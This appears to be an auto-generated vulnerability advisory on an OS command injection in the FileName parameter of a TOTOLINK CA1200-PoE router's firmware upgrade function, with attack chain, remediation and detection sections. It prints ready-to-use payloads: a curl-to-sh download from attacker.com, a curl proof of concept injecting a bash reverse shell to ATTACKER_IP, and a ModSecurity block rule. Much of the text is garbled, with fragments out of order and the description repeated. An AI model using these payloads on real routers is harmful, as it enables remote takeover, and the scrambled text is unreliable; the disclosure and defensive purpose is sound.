CVE-2026-144993 — TOTOLINK CA1200-PoE — CWE-77 · CWE-78
A vulnerability was identified in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. Affected by this vulnerability is the function setUpgradeFW in the library lib/cste_modules/upgrade.so of the component Web Management Interface. Such manipulation of the argument FileName leads to os command injection. The attack may be performed from remote. The exploit is publicly available and might be used.
A vulnerability was identified in TOTOLINK CA1200-PoE 5.9c.3994_B20190326. Affected by this vulnerability is the function setUpgradeFW in the library lib/cste_modules/upgrade.so of the component Web Management Interface. Such manipulation of the argument FileName leads to os command injection. The attack may be performed from remote. The exploit is publicly available and might be used.
🎯 What is this vulnerability?
This vulnerability is a Remote Code Execution (RCE) flaw caused by OS Command Injection (CWE-77 / CWE-78) in the TOTOLINK CA1200-PoE router.
Technical Breakdown:
- Vulnerable Component: The Web Management Interface, specifically the
setUpgradeFWfunction within the shared librarylib/cste_modules/upgrade.so. - Root Cause: The application accepts a user-supplied parameter named
FileName(likely part of a firmware upgrade request) and passes it directly to a system shell command (e.g.,system(),exec(), orpopen()) without proper sanitization or escaping. - Missing Control: Input validation. The application fails to restrict the
FileNameparameter to expected file extensions (e.g.,.bin,.img) or valid path characters. It allows shell metacharacters (such as;,|,&,$(), or backticks) to be interpreted by the underlying operating system shell. - Authentication Context: The CVSS vector
PR:L(Privileges Required: Low) indicates that the attacker does not need full administrative privileges but must be authenticated with a low-privilege account (e.g., a standard user or guest account) to access the vulnerable endpoint. Alternatively, in some IoT implementations, "Low" may imply that the endpoint is accessible via a default/weak credential or a session cookie that is easily obtained. - Fingerprinting: The attacker scans the target network for devices responding to HTTP/HTTPS on ports 80/443.
- Version Identification: The attacker retrieves the router's banner or login page. The specific version
5.9c.3994_B20190326can often be identified via:
* HTTP response headers ( - Credential Acquisition: Since
PR:Lis required, the attacker needs valid low-privilege credentials. This could be:
* Default credentials (if not changed).
* Weak passwords guessed via brute-force.
* Session hijacking from a compromised user. - Payload Construction: The attacker crafts a
FileNameparameter containing shell metacharacters to break out of the intended command context.
* Intended Command (Hypothetical): - PoC (Illustrative):
⚡ Attack Chain
1. Discovery & Reconnaissance
Server, X-Powered-By).
* The login page HTML source code (often contains version strings in comments or JavaScript variables).
* The System Info page (if accessible with low-privilege credentials).
2. Exploitation
Endpoint Identification: The vulnerable function issetUpgradeFW. In TOTOLINK routers, this is typically exposed via a POST request to a CGI script or API endpoint, commonly /cgi-bin/upgrade.cgi or /api/upgrade. Note: The exact URI is not specified in the CVE description, so the following is an illustrative example based on common TOTOLINK architecture.*
cp /tmp/uploaded_firmware.bin /dev/mtd2
* Malicious Input: FileName=; /bin/sh -c 'curl http://attacker.com/shell.sh | sh' #
* Resulting Command: cp /tmp/uploaded_firmware.bin; /bin/sh -c 'curl http://attacker.com/shell.sh | sh' # /dev/mtd2
# Step 1: Authenticate to obtain a session cookie (using low-priv creds)
curl -c cookies.txt -d "username=lowpriv_user&password=weakpass" http://192.168.1.1/login.cgi
# Step 2: Send the malicious upgrade request
# The 'FileName' parameter is injected with a reverse shell command.
# The '#' comments out the rest of the original command.
curl -b cookies.txt \
-X POST \
-d "FileName=; /bin/sh -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' #" \
http://192.168.1.1/cgi-bin/upgrade.cgiNote: The exact parameter name and endpoint may vary. The key is that FileName is unsanitized and passed to a shell.
3. Post-Exploitation
root or www-data on embedded Linux)./etc/rc.local, /etc/init.d/).
* Replace legitimate binaries with backdoored versions.
* Install a rootkit.
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Patching
5.9c.3994_B20190326 that addresses CVE-2026-144993.2. Workarounds (If Patching is Not Immediately Possible)
/cgi-bin/upgrade.cgi) via a reverse proxy or firewall rule.
FileName parameter.
* Example ModSecurity Rule (Illustrative):SecRule ARGS:FileName "@rx [;&|`$]" \
"id:100001,\
phase:2,\
block,\
msg:'Command Injection Attempt in FileName Parameter',\
logdata:'%{MATCHED_VAR}',\
severity:2,\
setvar:tx.inbound_anomaly_score_pl1=+10"Note: This is a basic rule and may be bypassed by advanced attackers. It is a temporary mitigation, not a fix.*
3. Detection
FileName values.FileName parameter: ;, |, &, $(, backticks, &&, ||.
* Example Log Entry:POST /cgi-bin/upgrade.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
FileName=; /bin/sh -c 'curl http://malicious.com/shell.sh | sh' #sh, bash, nc, curl) spawned by the web server process.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]